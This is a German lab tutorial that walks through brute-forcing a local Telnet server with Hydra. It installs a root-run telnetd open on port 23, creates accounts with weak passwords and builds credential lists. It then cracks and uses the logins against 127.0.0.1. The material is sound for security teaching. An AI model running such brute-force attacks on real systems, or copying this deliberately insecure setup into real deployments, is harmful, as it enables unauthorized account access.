Angriff auf Telnet-Services mit Hydra

HydraHydraBeginner
Jetzt üben

💡 Dieser Artikel wurde von AI-Assistenten übersetzt. Um die englische Version anzuzeigen, können Sie hier klicken

Einführung

In diesem Lab lernen Sie, wie Sie Brute-Force-Angriffe gegen Telnet-Services mit Hydra, einem vielseitigen Passwort-Cracking-Tool, durchführen können. Sie werden eine anfällige Telnet-Umgebung einrichten und Hydra nutzen, um zu zeigen, wie schwache Zugangsdaten ausgenutzt werden können.

Das Lab behandelt die Konfiguration eines Telnet-Servers, die Erstellung von Testzugangsdaten und die Ausführung von Hydra-Angriffen, um die Sicherheitsrisiken aufzuzeigen. Durch praktische Übungen werden Sie verstehen, warum Telnet unsicher ist, und lernen die Wichtigkeit der Verwendung verschlüsselter Alternativen kennen.

Installation eines lokalen Telnet-Servers

In diesem Schritt installieren Sie einen Telnet-Server auf Ihrer LabEx-VM, um eine lokale Testumgebung zu erstellen. Telnet ist eines der ältesten Netzwerkprotokolle und ermöglicht den Remote-Zugang zu Systemen. Allerdings überträgt es alle Daten (einschließlich Passwörter) im Klartext ohne Verschlüsselung, was es für den praktischen Einsatz in der realen Welt äußerst unsicher macht, aber perfekt für das Lernen von Sicherheits-Testkonzepten geeignet ist.

  1. Aktualisieren Sie zunächst Ihre Paketliste, um sicherzustellen, dass Sie die neuesten Versionen erhalten. Dies ist eine gute Praxis, bevor Sie neue Software installieren:
sudo apt update
  1. Installieren Sie das Telnet-Server-Paket (xinetd). Xinetd ist ein Super-Server, der Telnet-Verbindungen verwaltet. Das -y-Flag bestätigt automatisch alle Aufforderungen während der Installation:
sudo apt install -y xinetd telnetd
  1. Erstellen Sie die Telnet-Konfigurationsdatei unter /etc/xinetd.d/telnet. Wir verwenden nano, einen einfachen Texteditor, der mit den meisten Linux-Systemen ausgeliefert wird:
sudo nano /etc/xinetd.d/telnet
  1. Fügen Sie die folgende Konfiguration hinzu (drücken Sie Ctrl+O, um zu speichern, und dann Ctrl+X, um zu beenden). Diese Konfiguration aktiviert den Telnet-Service und legt grundlegende Parameter fest. Die Zeile disable = no ist besonders wichtig, da sie den Service aktiviert:
service telnet
{
        disable         = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = root
        server          = /usr/sbin/in.telnetd
        log_on_failure  += USERID
}
  1. Starten Sie den xinetd-Service neu, um die Änderungen anzuwenden. Dienste müssen oft nach Konfigurationsänderungen neu gestartet werden:
sudo service xinetd restart
  1. Überprüfen Sie, ob der Telnet-Service läuft. Port 23 ist der Standardport für Telnet. Der Befehl netstat zeigt aktive Netzwerkverbindungen und lauschende Ports an:
sudo netstat -tulnp | grep 23

Sie sollten eine Ausgabe ähnlich der folgenden sehen, was darauf hinweist, dass der Telnet-Service auf Port 23 lauscht:

tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      1234/xinetd

Konfiguration von Telnet mit Testkonten

In diesem Schritt erstellen Sie Testkonten, die für die Demonstration eines Hydra-Brute-Force-Angriffs verwendet werden. Diese Konten repräsentieren typische schwache Zugangsdaten, die in realen Systemen gefunden werden, und ermöglichen es uns, sicher zu zeigen, wie Angreifer schlechte Passwortpraktiken ausnutzen.

  1. Erstellen Sie zunächst drei Testbenutzerkonten mit dem Befehl useradd. Das -m-Flag stellt sicher, dass für jeden Benutzer ein Heimatverzeichnis erstellt wird:
sudo useradd -m user1
sudo useradd -m user2
sudo useradd -m user3
  1. Legen Sie nun einfache Passwörter für diese Konten fest. Wir verwenden häufige schwache Passwörter ('password', '123456', 'qwerty'), um reale Schwachstellen zu simulieren. Der Befehl chpasswd ändert Passwörter sicher, ohne interaktive Aufforderungen:
echo "user1:password" | sudo chpasswd
echo "user2:123456" | sudo chpasswd
echo "user3:qwerty" | sudo chpasswd
  1. Überprüfen Sie, ob die Konten erfolgreich erstellt wurden, indem Sie die System-Passwortdatei prüfen. Der Befehl grep filtert für unsere Testbenutzer in /etc/passwd, die alle Benutzerkontoinformationen speichert:
grep -E 'user1|user2|user3' /etc/passwd

Sie sollten eine Ausgabe ähnlich der folgenden sehen:

user1:x:1001:1001::/home/user1:/bin/sh
user2:x:1002:1002::/home/user2:/bin/sh
user3:x:1003:1003::/home/user3:/bin/sh
  1. Erstellen Sie Zugangsdaten-Dateien für den Hydra-Angriff in Ihrem Projektverzeichnis. Diese Textdateien dienen als Eingabe für Hydra bei der Kombination von Benutzernamen und Passwörtern während des Brute-Force-Versuchs:
cd ~/project
echo -e "user1\nuser2\nuser3" > usernames.txt
echo -e "password\n123456\nqwerty" > passwords.txt
  1. Überprüfen Sie, ob die Zugangsdaten-Dateien die richtigen Informationen enthalten. Der Befehl cat zeigt den Dateiinhalt an - wir prüfen beide Dateien, um die richtige Formatierung für die Anforderungen von Hydra sicherzustellen:
cat usernames.txt && cat passwords.txt

Sie sollten Folgendes sehen:

user1
user2
user3
password
123456
qwerty

Laden von Benutzernamen- und Passwortdateien

In diesem Schritt bereiten Sie die Zugangsdaten-Dateien vor, die Hydra für den Brute-Force-Angriff verwenden wird. Diese Dateien enthalten die Benutzernamen und Passwörter, die wir im vorherigen Schritt erstellt haben. Brute-Force-Angriffe funktionieren, indem alle möglichen Kombinationen von Zugangsdaten systematisch getestet werden, bis die richtige gefunden wird. Gut organisierte Zugangsdaten-Dateien machen diesen Prozess effizienter.

  1. Überprüfen Sie zunächst, ob die Zugangsdaten-Dateien in Ihrem Projektverzeichnis vorhanden sind. Dies ist wichtig, da Hydra diese Dateien für den Angriff benötigt:
cd ~/project
ls -l usernames.txt passwords.txt

Sie sollten eine Ausgabe ähnlich der folgenden sehen:

-rw-r--r-- 1 labex labex 12 May  1 10:00 passwords.txt
-rw-r--r-- 1 labex labex 12 May  1 10:00 usernames.txt
  1. Sehen Sie sich den Inhalt beider Dateien an, um sicherzustellen, dass sie richtig formatiert sind. Jeder Benutzername und jedes Passwort sollte in einer separaten Zeile stehen, da Hydra sie zeilenweise liest:
echo "Usernames:" && cat usernames.txt
echo "Passwords:" && cat passwords.txt

Erwartete Ausgabe:

Usernames:
user1
user2
user3
Passwords:
password
123456
qwerty
  1. Erstellen Sie aus Testzwecken eine kombinierte Zugangsdaten-Datei. Diese kombinierte Datei zeigt Benutzername-Passwort-Paare nebeneinander an, was hilft, sicherzustellen, dass sie korrekt übereinstimmen:
paste usernames.txt passwords.txt > credentials.txt
cat credentials.txt

Dies wird Folgendes anzeigen:

user1   password
user2   123456
user3   qwerty
  1. Installieren Sie Hydra, wenn es noch nicht vorhanden ist (es sollte jedoch in der LabEx-VM bereits vorinstalliert sein). Hydra ist das Tool, das wir verwenden werden, um einen Brute-Force-Angriff auf den Telnet-Service durchzuführen:
sudo apt install -y hydra hydra-gtk
  1. Überprüfen Sie, ob Hydra installiert ist, und prüfen Sie seine Version. Das Verständnis der Version hilft bei der Fehlersuche oder beim Nachschlagen bestimmter Funktionen:
hydra -h | head -n 5

Sie sollten die Hilfsausgabe von Hydra sehen, die mit folgendem beginnt:

Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Ausführen eines Hydra-Angriffs auf den Telnet-Service

In diesem Schritt verwenden Sie Hydra, um einen Brute-Force-Angriff auf Ihren lokalen Telnet-Server mit den zuvor vorbereiteten Zugangsdaten-Dateien durchzuführen. Hydra ist ein beliebtes Passwort-Cracking-Tool, das mehrere Protokolle unterstützt, einschließlich Telnet. Der Angriff wird systematisch alle Benutzername/Passwort-Kombinationen aus Ihren Dateien testen.

  1. Stellen Sie zunächst sicher, dass Sie sich im Projektverzeichnis befinden, in dem Ihre Zugangsdaten-Dateien gespeichert sind. Dies ist wichtig, da Hydra auf diese Dateien zugreifen muss:
cd ~/project
  1. Führen Sie nun Hydra gegen den lokalen Telnet-Service aus (127.0.0.1 ist die Loopback-Adresse, die auf Ihren eigenen Computer zeigt). Das -L-Flag gibt die Benutzernamenliste an, und -P gibt die Passwortliste an:
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1
  1. Während Hydra läuft, wird es den Fortschritt in Echtzeit anzeigen. Jede Zeile zeigt eine getestete Kombination an. Bei Erfolg wird es die gültigen Zugangsdaten wie folgt anzeigen:
[DATA] attacking telnet://127.0.0.1:23/
[23][telnet] host: 127.0.0.1   login: user1   password: password
1 of 1 target successfully completed, 1 valid password found
  1. Um Ihre Ergebnisse zur Dokumentation oder weiteren Analyse zu speichern, verwenden Sie das -o-Flag, gefolgt von einem Ausgabedateinamen:
hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1 -o hydra_results.txt
  1. Nachdem der Angriff abgeschlossen ist, können Sie die Ergebnisdatei anzeigen, um zu sehen, welche Zugangsdaten funktioniert haben:
cat hydra_results.txt

Beispielausgabe, die einen erfolgreichen Anmeldeversuch zeigt:

[23][telnet] host: 127.0.0.1   login: user1   password: password
  1. Aus Bildungszwecken möchten Sie möglicherweise jeden Versuch im Detail sehen. Die -vV-Flags aktivieren den ausführlichen Modus und zeigen jede Kombination an, die Hydra testet:
hydra -vV -L usernames.txt -P passwords.txt telnet://127.0.0.1

Die ausführliche Ausgabe sieht wie folgt aus und zeigt sowohl fehlgeschlagene als auch erfolgreiche Versuche:

[VERBOSE] Attempting user1:password... [SUCCESS]

Überprüfen der Ausgabe des Telnet-Angriffs

In diesem Schritt analysieren Sie die Ergebnisse Ihres Hydra-Brute-Force-Angriffs auf den Telnet-Service, um zu verstehen, welche Zugangsdaten kompromittiert wurden. Hydra testet mehrere Benutzername/Passwort-Kombinationen gegen den Service, und die Ausgabedatei enthält alle erfolgreichen Anmeldungen sowie fehlgeschlagene Versuche.

  1. Navigieren Sie zunächst in Ihr Projektverzeichnis, in dem Hydra seine Ergebnisse gespeichert hat, und zeigen Sie die vollständige Ausgabedatei an:
cd ~/project
cat hydra_results.txt

Beispielausgabe zeigt das Format von erfolgreichen Anmeldungen. Jede Zeile enthält das Protokoll (Telnet), die Ziel-IP-Adresse und die gekrackten Zugangsdaten:

[23][telnet] host: 127.0.0.1   login: user1   password: password
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
  1. Um nur die erfolgreichen Anmeldeversuche aus möglicherweise großen Ausgabedateien zu filtern, verwenden Sie grep, um Zeilen zu finden, die "login:" enthalten:
grep "login:" hydra_results.txt
  1. Verifizieren Sie die kompromittierten Konten, indem Sie einen manuellen Telnet-Anmeldeversuch mit den gefundenen Zugangsdaten durchführen. Dies bestätigt die Ergebnisse von Hydra und zeigt, wie ein Angreifer gestohlene Zugangsdaten verwenden würde:
telnet 127.0.0.1

Geben Sie beim Anmeldehinweis Folgendes ein:

user1
password

Eine erfolgreiche Anmeldung zeigt die Willkommensnachricht des Servers und die Befehlseingabeaufforderung an:

Welcome to LabEx Telnet Server
user1@localhost:~$

Geben Sie exit ein, um die Telnet-Sitzung zu beenden, wenn Sie mit den Tests fertig sind.

  1. Erstellen Sie einen professionellen Zusammenfassungsbericht über die kompromittierten Konten zur Dokumentation. Dies erstellt eine neue Datei mit formatierten Ergebnissen und einer Anzahl:
echo "Compromised Accounts:" > attack_summary.txt
grep "login:" hydra_results.txt >> attack_summary.txt
echo -e "\nTotal compromised: $(grep -c "login:" hydra_results.txt)" >> attack_summary.txt
cat attack_summary.txt
  1. Für eine zusätzliche Verifizierung überprüfen Sie die Authentifizierungsprotokolle des Telnet-Servers. Diese Systemprotokolle liefern eine unabhängige Bestätigung der Anmeldeversuche und helfen, Angriffsmuster zu verstehen:
sudo grep telnet /var/log/auth.log

Die Serverprotokolle zeigen detaillierte Authentifizierungsereignisse, einschließlich Zeitstempeln und Erfolg/Misserfolg-Status:

May 1 10:00:00 labex in.telnetd[1234]: connect from 127.0.0.1 (127.0.0.1)
May 1 10:00:01 labex login: pam_unix(telnet:auth): authentication failure; logname= uid=0 euid=0 tty=telnet ruser= rhost=127.0.0.1  user=user3
May 1 10:00:02 labex login: pam_unix(telnet:session): session opened for user user1 by (uid=0)

Zusammenfassung

In diesem Lab haben Sie gelernt, wie Sie mithilfe von xinetd eine anfällige Telnet-Serverumgebung mit schwachen Zugangsdaten für Sicherheitstests einrichten können. Der Prozess umfasste die Konfiguration des Telnet-Services auf Port 23 und die Erstellung von Testkonten mit absichtlich schwachen Passwörtern, um Authentifizierungsanfälligkeiten aufzuzeigen.

Diese Übung hat die Sicherheitsrisiken der Verwendung unverschlüsselter Protokolle wie Telnet sowie die entscheidende Bedeutung der Umsetzung starker Passwortrichtlinien hervorgehoben. Durch die praktische Demonstration mit Hydra konnten Sie beobachten, wie einfach Brute-Force-Angriffe Systeme mit schwachen Authentifizierungsmechanismen kompromittieren können.